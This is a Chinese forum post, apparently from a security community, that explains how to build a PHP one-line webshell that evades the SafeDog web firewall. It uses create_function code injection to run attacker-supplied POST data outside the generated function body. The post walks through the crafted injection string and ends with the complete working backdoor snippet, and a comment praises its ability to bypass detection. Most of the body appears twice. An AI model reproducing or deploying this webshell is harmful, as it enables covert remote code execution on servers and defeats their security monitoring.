过狗一句话编写之代码执行漏洞函数代替eval
不知道这个能不能算上奇技淫巧 ,如果算不上的话,请各位前辈提示一下 修改板块..
今天下午看坛友发了一个求助贴,让帮忙分析一句话木马呢!
原帖链接:https://www.t00ls.com/thread-36667-1-1.html
帖子二楼的大牛分析的很到位,那个一句话木马用了函数回调的方法,传递一个存在代码执行漏洞的函数preg_replace来代替eval执行代码
然后我就想着,安全狗查杀一句话的时候,通常检测eval 和 $_POST[x]有没有同时出现 ,正常的POST数据不拦截,小弟的认识 说的不对的地方还望大牛指正。
然后我们将POST来的数据放到存在代码执行漏洞的函数中,这样,POST来的数据就被执行了。
因此就想着试一试~选择的函数是create_function函数,这个函数曾在wordpress最近的代码执行漏洞中是罪魁祸首,我刚好复现过wordpress那个代码执行漏洞,对create_function比较熟悉(原帖地址:https://www.t00ls.com/thread-36509-1-1.html)
create_function函数接收两个参数$args 和 $code 然后组成新函数function_lambda_func($args){$code;} 并eval(function_lambda_func($args){$code;}),那么我们只要构造$code来闭合}然后将自己的代码放到函数体外面就可以执行了。
构造$code
$code = "n;}$_POST[x];/*";
解释一下构造的$code:
双引号中$_POST[x]被执行(这里以提交x=phpinfo();为例)
;来结束语句
}来结束函数体
phpinfo();;就在函数体外面被eval执行了
/*注释多余的代码
最终代码:eval(function_lambda_func($args){n;}phpinfo();;/*})
那么phpinfo()就被执行了.
如图:
过狗测试:
最终代码:
今天下午看坛友发了一个求助贴,让帮忙分析一句话木马呢!
原帖链接:https://www.t00ls.com/thread-36667-1-1.html
帖子二楼的大牛分析的很到位,那个一句话木马用了函数回调的方法,传递一个存在代码执行漏洞的函数preg_replace来代替eval执行代码
然后我就想着,安全狗查杀一句话的时候,通常检测eval 和 $_POST[x]有没有同时出现 ,正常的POST数据不拦截,小弟的认识 说的不对的地方还望大牛指正。
然后我们将POST来的数据放到存在代码执行漏洞的函数中,这样,POST来的数据就被执行了。
因此就想着试一试~选择的函数是create_function函数,这个函数曾在wordpress最近的代码执行漏洞中是罪魁祸首,我刚好复现过wordpress那个代码执行漏洞,对create_function比较熟悉(原帖地址:https://www.t00ls.com/thread-36509-1-1.html)
create_function函数接收两个参数$args 和 $code 然后组成新函数function_lambda_func($args){$code;} 并eval(function_lambda_func($args){$code;}),那么我们只要构造$code来闭合}然后将自己的代码放到函数体外面就可以执行了。
构造$code
$code = "n;}$_POST[x];/*";
解释一下构造的$code:
双引号中$_POST[x]被执行(这里以提交x=phpinfo();为例)
;来结束语句
}来结束函数体
phpinfo();;就在函数体外面被eval执行了
/*注释多余的代码
最终代码:eval(function_lambda_func($args){n;}phpinfo();;/*})
那么phpinfo()就被执行了.
如图:
过狗测试:
最终代码:
<?php
$args = "tony";
$code = "n;}$_POST[x];/*";
echo create_function('$args',$code);
?>
评论41次
又一种猥琐一句话,get it,能过狗是关键